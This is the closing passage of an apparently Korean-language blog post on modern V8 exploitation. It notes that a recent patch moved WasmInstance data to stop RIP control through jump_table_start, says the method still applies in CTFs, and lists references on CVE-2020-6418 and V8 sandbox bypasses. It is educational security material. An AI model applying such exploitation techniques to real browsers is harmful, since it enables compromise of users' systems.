 - constructor: 0x2e5d0028ee55 <JSFunction Instance (sfi = 0x2e5d00147981)>
 - dependent code: 0x2e5d0000070d <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

현재 글을 작성하는 시점의 최신 v8(@de04b417)에는 WasmInstance의 jump_table_start의 주소가 더 이상 존재하지 않습니다.

이는 위와 같은 jump_table_start를 통한 RIP 컨트롤을 막기 위해 WasmInstance의 data를 다른 신뢰할 수 있는 영역으로 옮기는 패치가 적용되었기 때문입니다.

https://docs.google.com/document/d/1yMLdhu6VyeFwWCYJaPj-B-aYsMFIzysFwswT5mDglM0/edit#heading=h.n1atlriavj6v

하지만 여전히 Modern한 V8 Engine에 적용 가능한 Exploit방법론이고, CTF에서도 참여자의 편의를 위해 위 패치가 적용되기 전의 버전을 제공하고 있습니다.

따라서 아직 완전히 deprecate된 방법론이 아니기 때문에 이 글을 보시며 Modern V8 exploit 방법론에 대해 알아가셨으면 좋겠습니다.

Reference)

https://starlabs.sg/blog/2022/12-deconstructing-and-exploiting-cve-2020-6418/

https://docs.google.com/document/d/1CPs5PutbnmI-c5g7e_Td9CNGh5BvpLleKCqUnqmD82k

https://docs.google.com/document/d/1yMLdhu6VyeFwWCYJaPj-B-aYsMFIzysFwswT5mDglM0/edit#heading=h.n1atlriavj6v

https://medium.com/@numencyberlabs/use-wasm-to-bypass-latest-chrome-v8sbx-again-639c4c05b157